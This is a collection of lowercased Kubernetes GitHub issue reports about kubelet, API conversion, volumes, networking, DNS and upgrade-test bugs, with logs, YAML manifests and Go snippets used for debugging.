if you create a pod that will never be able to run successfully, such as this:      yaml apiversion: v1 kind: pod metadata:   name: bad spec:   containers:   - name: bad     image: busybox     command:     - /blarg   restartpolicy: never      sometimes you'll see 1 container that is created and then fails to start, and then the pod is marked as failed. other times you'll see that the kubelet creates 2 containers before marking the pod as failed. the following are kubelet log line numbers that show the sequence of events:      7577 - syncpod  1st time - for new pod  7637 - pleg starts relisting 7662 - 1st container created for pod 7663 - pleg inspects container. container isn't running yet 7666 - pleg records \ unknown\  status 7672 - error running container 7690 - pleg starts relisting again 7691 - syncpod  2nd time, status cache still has \ unknown\   7714 - 2nd container created for pod 7731 - pleg inspects containers and sees 2 dead containers now 7733 - pleg updates status to dead      it looks like the pod worker is passing a slightly out of date pod status to syncpod.  @kubernetes/rh-cluster-infra @kubernetes/sig-node

some types have   inttostring  to  inttostring  which results in using the reflection path.  we need to have a generated public conversion function for inttostring for this case.      func convert_v1beta1_rollingupdatedeployment_to_extensions_rollingupdatedeployment in  rollingupdatedeployment, out  extensions.rollingupdatedeployment, s conversion.scope  error {     if err := s.convert in.maxunavailable, &out.maxunavailable, 0 ; err != nil {         return err     }     if err := s.convert in.maxsurge, &out.maxsurge, 0 ; err != nil {         return err     }     return nil }

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r kubelet keeps updating pod status and calling delete pod for terminating pods with finalizers. these causes the resource version to change continuously and other controllers cannot remove the finalizers due to resource version change.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pod. add a test finalizer. delete the pod. watch for this pod and we can see it keeps getting updates from kubelet\r \r   anything else we need to know?  :\r this pr:https://github.com/kubernetes/kubernetes/pull/42779  cc @dashpole  introduced a change due to which pod status updates and delete pod calls are made regardless there is a change in the pod status for deleted pods. however in case we use pod finalizers, this will continuous update and delete calls to the pod since the pod object won't get deleted unless the finalizers are removed.\r \r   environment  :\r - kubernetes version: 1.6.3   use  kubectl version  :\r - os  e.g. from /etc/os-release : centos linux \r - kernel  e.g.  uname -a  : 3.10.0-514.16.1.el7.x86_64\r

is this a bug report or feature request?  :\r   \r   what happened  :\r follow up of https://github.com/kubernetes/kubernetes/pull/52003. the mentioned pr mounts  /lib/modules  on host to the kube-proxy pod, so that a kube-proxy pod can load kernel modules by need or when  modprobe <kmod>  is run inside the pod.\r \r folks believed a better solution is to load kernel modules in init container instead as that has less security concerns, but we would like to get the alternative solution in first to unblock the ipvs beta work.this issue is opened for tracking the init container solution.\r \r there already are some relevant comments on https://github.com/kubernetes/kubernetes/pull/52003, but might be great to put further discussion here.\r \r looping in folks from previous thread.\r @vfreex @mikedanese @m1093782566 @cmluciano @dhilipkumars @tallclair @thockin

kubelet post nodestatus every 2sec as heatbeat message now. nodecontroller will make decision or fix up the node phase based on those status message. but there is no need to write nodestatus to etcd server every 2 sec.   cc/ @ddysher @bgrant0607 @davidopp

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r windows absolute path  d:  is not allowed in local volume, the  validation  https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/core/validation/validation.go l1386  happens on both master and agent node, while for windows cluster, the master is linux and agent is windows, so  path.isabs    func will not work all in both nodes.\r user will get following error when specify  d:  for  spec.local :\r    \r the persistentvolume \ pv-local\  is invalid: spec.local: invalid value: \ d:\ : must be an absolute path\r    \r \r complete pv example is here:\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: pv-local\r spec:\r   capacity:\r     storage: 100gi\r   volumemode: filesystem\r   accessmodes:\r   - readwriteonce\r   persistentvolumereclaimpolicy: delete\r   storageclassname: local-storage\r   local:\r     path: \ d:\ \r   nodeaffinity:\r     required:\r       nodeselectorterms:\r       - matchexpressions:\r         - key: kubernetes.io/hostname\r           operator: in\r           values:\r           - 20941k8s9010\r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  

https://github.com/kubernetes/kubernetes/blob/82c986ecbcdf99a87cd12a7e2cf64f90057b9acd/pkg/controller/job/job_controller.go l323\r \r here should be   oldjob: = old.    batch job   ?

failing jobs:\r  sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-new \r \r   failing tests\r  up  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new/2190 \r \r   triage results\r  up  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new&test=up \r \r tests are failing on sig-release-master-upgrade\r  / /  /milestone v1.12\r \r /cc @tpepper @aishsundar

>  \r   what happened  :\r the rps of new pod which created by hpa get low network traffic than exists pods.\r \r   what you expected to happen  :\r because kube-proxy works with iptables which is using random algorithm to pickup endpoint, so all endpoints of service should get same level traffic.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create deployments, service, ingress in gke 1.10.4-gke.2.\r put some workloads, let pods be scaled.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.4-gke.2\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :  cos 10452.101.0\r - kernel  e.g.  uname -a  : 4.14.22+\r \r   example service  \r    \r name:                     xxxx-stg5-xxxx-app\r namespace:                xxxx-stg5\r labels:                   app=xxxx-stg5-xxxx-app\r selector:                 load-balancer-xxxx-stg5-xxxx-app=true\r type:                     nodeport\r ip:                       10.114.12.145\r port:                     http  80/tcp\r targetport:               10080/tcp\r nodeport:                 http  31854/tcp\r endpoints:                10.48.0.63:10080,10.48.0.72:10080,10.48.1.85:10080 + 57 more...\r session affinity:         none\r external traffic policy:  cluster\r events:                   <none>\r    \r \r this is an rps graph for each pods, the pods in a high layer is created by deployment, then we push some workloads to get pods to be scaled which you could find these new created pods in a low layer get much lower rps than old ones.\r <img width=\ 1180\  alt=\ screen shot 2018-08-03 at 23 37 59\  src=\ https://user-images.githubusercontent.com/611054/43648759-4abf8a46-9776-11e8-903f-1313a35a08a1.png\ >

is this a bug report or feature request?  :\r  \r   what happened  :\r \r setup new cluster in aws eks, with rbac, checking all logs to verify all is good.  nodes appear to be coming online and ready, but i'm seeing the following errors for the kubelet service on the nodes.\r \r    \r service kubelet status\r \r oct 09 12:52:21 ip-172-26-0-213.ec2.internal kubelet 4226 : e1009 12:52:21.590612    4226 kubelet_node_status.go:377  error updating node status, will retry: error getting node \ ip-172-26-0-213.ec2.internal\ : unauthorized\r oct 09 13:13:24 ip-172-26-0-213.ec2.internal kubelet 4226 : e1009 13:13:24.141500    4226 kubelet_node_status.go:377  error updating node status, will retry: error getting node \ ip-172-26-0-213.ec2.internal\ : unauthorized\r    \r \r have 3 nodes and seeing the same errors on all 3.\r \r appears it is coming from this line in kubelet_node_status.go\r \r    \r \tnode, err := kl.heartbeatclient.corev1  .nodes  .get string kl.nodename , opts \r \tif err != nil {\r \t\treturn fmt.errorf \ error getting node %q: %v\ , kl.nodename, err \r \t}\r    \r \r from the workers i can execute get nodes using kubectl just fine:\r \r    \r     kubectl get --kubeconfig=/var/lib/kubelet/kubeconfig nodes\r     name                           status    roles     age       version\r     ip-172-26-0-58.ec2.internal    ready     <none>    1h        v1.10.3\r     ip-172-26-1-193.ec2.internal   ready     <none>    1h        v1.10.3\r    \r \r   what you expected to happen  :\r \r i'd expect the kubelet logs to not have this error.  since the worker node can join the cluster it would appear that  i have the clusterrolebindings setup properly.\r \r    kubelet version    \r    \r kubelet --version\r kubernetes v1.10.3\r    \r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r kubernetes currently has 5 places where you can specify if a volume is readonly:\r \r 1. pvc/pv access modes may be  readonlymany .\r 2.  pod.spec.volumes.persistentvolumeclaim.readonly  boolean\r 3.  persistentvolume.spec. volumesource .readonly  boolean where  volumesource  could be  csipersistentvolumesource ,  gcepersistentdiskvolumesource , etc.\r 4.  pod.spec.containers.volumemounts x .readonly  boolean.\r \r the current state appears to be:\r \r 1. is used for binding pv/pvc only.\r 2. some plugins use this for controlling if a volume is   attached   as readonly.\r 3. some plugins use this for controlling if a volume is   attached   as readonly.\r 4. some plugins use this for controlling if a volume is   mounted   as readonly.\r \r   what you expected to happen  :\r \r because of kubernetes api deprecation policy, we can't remove any of these from the api. but we should at least define  for consistency  or at least document what the various combinations of these parameters do for different volume plugins.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

i setup a test cluster and observed it in a steady state, noticed kubelete  well, docker actually, but probably precipitated by the kubelet  seems to be hammering the disk surprisingly hard for a cluster with just a few pods  the normal influx, elasticsearch etc .  my docker logs are full of      time=\ 2015-04-28t14:32:41z\  level=\ info\  msg=\ -job containers   = ok  0 \   time=\ 2015-04-28t14:32:41z\  level=\ info\  msg=\ get /containers/json\   time=\ 2015-04-28t14:32:41z\  level=\ info\  msg=\ +job containers  \   time=\ 2015-04-28t14:32:41z\  level=\ info\  msg=\ -job containers   = ok  0 \   time=\ 2015-04-28t14:32:41z\  level=\ info\  msg=\ get /containers/json\   time=\ 2015-04-28t14:32:41z\  level=\ info\  msg=\ +job containers  \   time=\ 2015-04-28t14:32:41z\  level=\ info\  msg=\ -job containers   = ok  0 \   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ get /containers/json\   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ +job containers  \   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ -job containers   = ok  0 \   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ get /containers/json\   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ +job containers  \   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ -job containers   = ok  0 \   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ get /containers/json\   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ +job containers  \   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ -job containers   = ok  0 \   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ get /containers/json\   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ +job containers  \   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ -job containers   = ok  0 \   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ get /containers/json\   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ +job containers  \   time=\ 2015-04-28t14:32:42z\  level=\ info\  msg=\ -job containers   = ok  0 \        and kubelet logs:      93  i0428 14:33:16.708575    4668 server.go:635  get /stats/:  1.44962ms  0   go 1.1 package http  10.245.2.3:56393  i0428 14:33:20.043620    4668 container.go:242  failed to update stats for container \ /docker/68bfb63d6333ea2cb3e17f7f2e7aace934788575e46c3bfe0b699d15e35283fd\ : failed to read stat from \ /sys/class/net/statistics/rx_bytes\  for device \ \ , continuing to push stats      but the disk io seems surprisingly high  via sar, atop etc

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r related to https://github.com/kubernetes/kubernetes/issues/77309\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r /assign\r 

at some point, kubectl starting doing multiple requests on calls to  kubectl exec . one of these is not a spdy connection, so at least one  connect  will show up in the proxy logs even if proxy support is commented out in the spdy round tripper. there should be a more robust method to verify that the spdy round tripper is indeed proxying.

hi,\r we are going to use kubernetes on aws  setup with kops . one thing i wanted to address before going into production is doing backups from data storage.\r \r i've currently set up a non ha kubernetes master and i want to do regularly backups of etcd to be able to restore the cluster in case of a volume failure at aws.\r \r this seems currently not possible. there should be an integrated backup/restore solution.\r \r alternatively  which would most likely concern kops  i should be able to restore a etcd volume snapshot and change the volume ids inside of kubernetes.\r \r related issue at kops: kubernetes/kops 1506

status.replicas is used by replicasets, replicationcontrollers, deployments, daemonsets  currentnumberscheduled , and statefulsets. for all of the controllers apart from statefulsets, it means the number of pods that have been created. for statefulsets, it means the pods that are ready. we should fix this. statefulsets need all the rest of the status fields anyway - readyreplicas, availablereplicas, and once updates are done, updatedreplicas.\r \r @kubernetes/sig-apps-api-reviews @kow3ns

this is an action item from the 1.6 retrospective. \r \r automated upgrade testing didn't catch  43668 because we didn't have explicit tests for dns working across upgrades / downgrades. \r \r /cc @kubernetes/sig-network-bugs @bowei

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : \r https://github.com/kubernetes/community/pull/306 added field  sizelimit  in pr https://github.com/kubernetes/kubernetes/commit/85f030c2aad00c54d498646e4151e7fad930c7c3. the field is marked as _optional_ yet has the non-pointer type  resource.quantity . this is against the api convention that requires optional fields to be pointers. \r \r as a consequence, k8s client-go library does not omit this field in serialization, breaking k8s 1.6 compatibility for this api.\r \r   what you expected to happen  :\r client-go 1.7 works with k8s 1.6 in pass-through object processing pipeline.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see https://github.com/kubernetes/client-go/issues/257 issuecomment-319552550\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7\r - cloud provider or hardware configuration  : gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r cc @caesarxuchao

is this a bug report or feature request?  : bug report\r \r   \r   what happened  :\r \r    shell\r  root@k8s-c1 kad   kubectl attach -i -t busybox1\r if you don't see a command prompt, try pressing enter.\r                                                       error: error sending request: post https://10.237.72.166:6443/api/v1/namespaces/default/pods/busybox1/attach?container=busybox1&stdin=true&stdout=true&tty=true: eof\r  root@k8s-c1 kad    env | grep no_prox\r no_proxy=localhost,127.0.0.1,.example.com,10.0.0.0/8\r  root@k8s-c1 kad   \r    \r \r   what you expected to happen  :\r \r    shell\r  root@k8s-c1 kad   kubectl attach -i -t busybox1\r if you don't see a command prompt, try pressing enter.\r /   \r /   \r /   \r  root@k8s-c1 kad   \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r - run k8s cluster in environment where there is no direct access to internet, thus http proxies are used.\r - make sure that http proxy can't connect to your cluster ips  proxy serves only external resources \r - run simple deployment like:  kubectl run -i -t busybox1 --image=busybox \r - try to attach to that pod:  kubectl attach -i -t busybox1 \r \r \r   anything else we need to know?  :\r transports in staging/src/k8s.io/client-go/transport  seems to initialize properly defaults to use  newproxierwithnoproxycidr    from  k8s.io/apimachinery/pkg/util/net . however, when it comes to spdy, dial function seems somehow ignores it and fallbacks to default transport? or default proxy resolver  net/http.proxyfromenvironment   \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:16:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : none\r - os  e.g. from /etc/os-release : \ centos linux 7  core \ \r - kernel  e.g.  uname -a  : linux k8s-c1.example.com 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r \r if a ceph rbd pvc was used, its  devicepath  in  node.status.volumesattached  will always be empty, even though it has been already mounted on the machine.\r \r   what you expected to happen  :\r \r the reason is: currently,  attachdetachcontroller  is responsible for updating  node.status.volumesattached , using the returned parameter of volume plugin's  attach  method as the volume's  devicepath . however, the  attach  method for rbd volume plugin does nothing, and the real attach operation is performed by  waitforattach  method, which is invoked inside  operationgenerator.generatemountvolumefunc  or  operationgenerator.generatemapvolumefunc , by kubelet.  waitforattach  method returns the real device path, but not updated to the  node.status  ever.\r \r candidate solutions:\r \r 1. a simple solution is we update the volume's  devicepath  in  node.status  just after the  waitforattach  operation succeeded inside  operationgenerator.generatemapvolumefunc  and  operationgenerator.generatemountvolumefunc  , and fail the whole map/mount operation if the update operation failed. this solution is enough for our demand, but may bring more pressure to  etcd . if this is a problem, we can make  waitforattach  to return a bool value indicating whether the  devicepath  updated or not, and only update node's status if  devicepath  updated.\r the node status update operation maybe look like this:\r \r    go\r func  og  operationgenerator  updatenodestatus volumename v1.uniquevolumename, devicepath, nodename string  error {\r \tif len volumename  == 0 || len devicepath  == 0 || len nodename  == 0 {\r \t\treturn nil\r \t}\r \tglog.v 5 .infof \ update node %s status: volume: %s, device path: %s\ , nodename, volumename, devicepath \r \r \t// fetch current node object\r \tnode, fetcherr := og.kubeclient.corev1  .nodes  .get nodename, metav1.getoptions{} \r \tif fetcherr != nil {\r \t\treturn fetcherr\r \t}\r \toriginnode := node.deepcopy  \r \r \tupdated := false\r \tfor i := range node.status.volumesattached {\r \t\tattachedvolume := &node.status.volumesattached i \r \t\tif attachedvolume.name == volumename && attachedvolume.devicepath != devicepath {\r \t\t\tupdated = true\r \t\t\tattachedvolume.devicepath = devicepath\r \t\t\tbreak\r \t\t}\r \t}\r \tif !updated {\r \t\treturn nil\r \t}\r \r \t_, updateerr := nodeutil.patchnodestatus og.kubeclient.corev1  , types.nodename nodename , originnode, node \r \treturn updateerr\r }\r    \r \r 2. a more elegant solution is updating the  devicepath  cached in  actualstateofworld , and update the  devicepath  in  node.status.volumesattached  periodically by kubelet. but there's a tricky situation: if kubelet restarts between the volume mounted and  node.status  reported, we need a method to find the volume's device path and report it again. a possible solution is that using  mount.getdevicenamefrommount  to find  devicepath  by  globalmountpath . this may make the implement complicated.\r \r i'm inclined to be the first one. do we have any other better options? if not, i will submit a pr for the first solution later.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r \r   what happened  :\r kube-apiserver exited with an error when started with the --admission_control flag\r the error was that \ admission_control\  is not a valid flag\r \r   what you expected to happen  :\r expected \ admission_control\  to be a valid flag and for kube-apiserver to start normally.\r \r   how to reproduce it  as minimally and precisely as possible   :\r in /etc/kubernetes/apiserver, set this line as so:\r kube_admission_control=\ --admission_control=namespacelifecycle,limitranger,persistentvolumelabel,defaultstorageclass,resourcequota\ \r \r   anything else we need to know?  :\r \ admission_control\  worked as a flag on kubernetes v1.9.6\r in kubernetes 1.10 , \ admission-control\  does work though  hyphen instead of underscore  so it seems some flag normalisation no longer occurs in 1.10 that used to occur in 1.9.6.\r \r looking at https://github.com/kubernetes/kubernetes/blob/7ba00fc08b81bcf2df6bb15fe1f6224b49d42760/cmd/kube-apiserver/apiserver.go l45 in version 1.10, it seems the normalisation doesn't occur despite  pflag.commandline.setnormalizefunc utilflag.wordsepnormalizefunc   being called. we suspect it's because any attempt at normalisation has already occurred a few lines back, at  command := app.newapiservercommand   .\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes v1.10.0\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : red hat enterprise linux atomic host 7.4\r - kernel  e.g.  uname -a  : linux 3.10.0-693.1.1.el7.x86_64  1 smp thu aug 3 08:15:31 edt 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r \r @kubernetes/sig-cli-bugs

is this a bug report or feature request?  :\r \r    \r why  kubedns's parameter \ --domain\  i0523 09:27:18.970487       1 server.go:113  flag: --domain=\ cluster.local.\   not use my kube-dns.yml 's parameter \ --domain\  \r cluster.local     the last add a \ .\ ?\r \r when i enter a container ,cat /etc/resolv.conf \r nameserver 8.8.8.8\r nameserver 8.8.4.4\r \r don't have \ search default.svc.cluster.local svc.cluster.local cluster.local\ ?\r \r the file /etc/resolv.conf modify by which service ?\r \r \r   kubedns  \r root@master1:~  kubectl logs -n kube-system kube-dns-6d7c49b69b-v4jqw kubedns\r i0523 09:27:18.666957       1 dns.go:48  version: 1.14.5\r i0523 09:27:18.970265       1 server.go:70  using configuration read from directory: /kube-dns-config with period 10s\r i0523 09:27:18.970360       1 server.go:113  flag: --alsologtostderr=\ false\ \r i0523 09:27:18.970387       1 server.go:113  flag: --config-dir=\ /kube-dns-config\ \r i0523 09:27:18.970408       1 server.go:113  flag: --config-map=\ \ \r i0523 09:27:18.970423       1 server.go:113  flag: --config-map-namespace=\ kube-system\ \r i0523 09:27:18.970437       1 server.go:113  flag: --config-period=\ 10s\ \r i0523 09:27:18.970454       1 server.go:113  flag: --dns-bind-address=\ 0.0.0.0\ \r i0523 09:27:18.970465       1 server.go:113  flag: --dns-port=\ 10053\ \r i0523 09:27:18.970487       1 server.go:113  flag: --domain=\ cluster.local.\ \r i0523 09:27:18.970504       1 server.go:113  flag: --federations=\ \ \r i0523 09:27:18.970520       1 server.go:113  flag: --healthz-port=\ 8081\ \r i0523 09:27:18.970535       1 server.go:113  flag: --initial-sync-timeout=\ 1m0s\ \r i0523 09:27:18.970547       1 server.go:113  flag: --kube-master-url=\ \ \r i0523 09:27:18.970565       1 server.go:113  flag: --kubecfg-file=\ \ \r i0523 09:27:18.970577       1 server.go:113  flag: --log-backtrace-at=\ :0\ \r i0523 09:27:18.970609       1 server.go:113  flag: --log-dir=\ \ \r i0523 09:27:18.970622       1 server.go:113  flag: --log-flush-frequency=\ 5s\ \r i0523 09:27:18.970637       1 server.go:113  flag: --logtostderr=\ true\ \r i0523 09:27:18.970648       1 server.go:113  flag: --nameservers=\ \ \r i0523 09:27:18.970659       1 server.go:113  flag: --stderrthreshold=\ 2\ \r i0523 09:27:18.970674       1 server.go:113  flag: --v=\ 2\ \r i0523 09:27:18.970688       1 server.go:113  flag: --version=\ false\ \r i0523 09:27:18.970707       1 server.go:113  flag: --vmodule=\ \ \r i0523 09:27:18.970815       1 server.go:176  starting skydns server  0.0.0.0:10053 \r i0523 09:27:18.986716       1 server.go:198  skydns metrics enabled  /metrics:10055 \r i0523 09:27:18.986753       1 dns.go:147  starting endpointscontroller\r i0523 09:27:18.986768       1 dns.go:150  starting servicecontroller\r i0523 09:27:18.986877       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0523 09:27:18.986916       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0523 09:27:19.487049       1 dns.go:171  initialized services and endpoints from apiserver\r i0523 09:27:19.487085       1 server.go:129  setting up healthz handler  /readiness \r i0523 09:27:19.487104       1 server.go:134  setting up cache handler  /cache \r i0523 09:27:19.487123       1 server.go:120  status http port 8081\r \r   dnsmasq  \r root@master1:~  kubectl logs -n kube-system kube-dns-6d7c49b69b-v4jqw dnsmasq\r i0523 09:27:18.770868       1 main.go:76  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r i0523 09:27:18.941673       1 nanny.go:86  starting dnsmasq  -k --cache-size=1000 --log-facility=- --server=/cluster.local/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i0523 09:27:19.778031       1 nanny.go:108  dnsmasq 26 : started, version 2.78-security-prerelease cachesize 1000\r i0523 09:27:19.778108       1 nanny.go:108  dnsmasq 26 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i0523 09:27:19.778128       1 nanny.go:108  dnsmasq 26 : using nameserver 127.0.0.1 10053 for domain ip6.arpa \r i0523 09:27:19.778157       1 nanny.go:108  dnsmasq 26 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa \r i0523 09:27:19.778024       1 nanny.go:111  \r w0523 09:27:19.778238       1 nanny.go:112  got eof from stdout\r i0523 09:27:19.778192       1 nanny.go:108  dnsmasq 26 : using nameserver 127.0.0.1 10053 for domain cluster.local \r i0523 09:27:19.778329       1 nanny.go:108  dnsmasq 26 : no servers found in /etc/resolv.conf, will retry\r i0523 09:27:19.778431       1 nanny.go:108  dnsmasq 26 : read /etc/hosts - 7 addresses\r \r   sidecar  \r root@master1:~  kubectl logs -n kube-system kube-dns-6d7c49b69b-v4jqw sidecar\r error: logging before flag.parse: i0523 09:27:19.750812       1 main.go:48  version v1.14.5\r error: logging before flag.parse: i0523 09:27:19.751000       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r error: logging before flag.parse: i0523 09:27:19.751081       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r error: logging before flag.parse: i0523 09:27:19.751221       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}\r \r   kube-dns.yml  \r \r apiversion: v1\r kind: serviceaccount\r metadata:\r   name: kube-dns\r   labels:\r     k8s-app: kube-dns\r     kubernetes.io/cluster-service: \ true\ \r     addonmanager.kubernetes.io/mode: reconcile\r   namespace: kube-system\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: kube-dns\r   namespace: kube-system\r   labels:\r     k8s-app: kube-dns\r     kubernetes.io/cluster-service: \ true\ \r     addonmanager.kubernetes.io/mode: reconcile\r spec:\r   selector:\r     k8s-app: kube-dns\r   clusterip: 10.96.0.10\r   ports:\r   - name: dns\r     port: 53\r     protocol: udp\r   - name: dns-tcp\r     port: 53\r     protocol: tcp\r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: kube-dns\r   namespace: kube-system\r   labels:\r     k8s-app: kube-dns\r     kubernetes.io/cluster-service: \ true\ \r     addonmanager.kubernetes.io/mode: reconcile\r spec:\r   strategy:\r     rollingupdate:\r       maxsurge: 10%\r       maxunavailable: 0\r   selector:\r     matchlabels:\r       k8s-app: kube-dns\r   template:\r     metadata:\r       labels:\r         k8s-app: kube-dns\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: ''\r     spec:\r       dnspolicy: default\r       serviceaccountname: kube-dns\r       tolerations:\r       - key: \ criticaladdonsonly\ \r         operator: \ exists\ \r       - key: node-role.kubernetes.io/master\r         effect: noschedule\r       volumes:\r       - name: kube-dns-config\r         configmap:\r           name: kube-dns\r           optional: true\r       containers:\r       - name: kubedns\r         image: kylincloud2.hub/k8s-dns-kube-dns-arm64:1.14.5   \r         resources:\r           limits:\r             memory: 170mi\r           requests:\r             cpu: 100m\r             memory: 70mi\r         livenessprobe:\r           httpget:\r             path: /healthcheck/kubedns\r             port: 10054\r             scheme: http\r           initialdelayseconds: 60\r           timeoutseconds: 5\r           successthreshold: 1\r           failurethreshold: 5\r         readinessprobe:\r           httpget:\r             path: /readiness\r             port: 8081\r             scheme: http\r           initialdelayseconds: 3\r           timeoutseconds: 5\r         args:\r         - --domain=cluster.local\r         - --dns-port=10053\r         - --v=2\r         - --config-dir=/kube-dns-config\r         env:\r         - name: 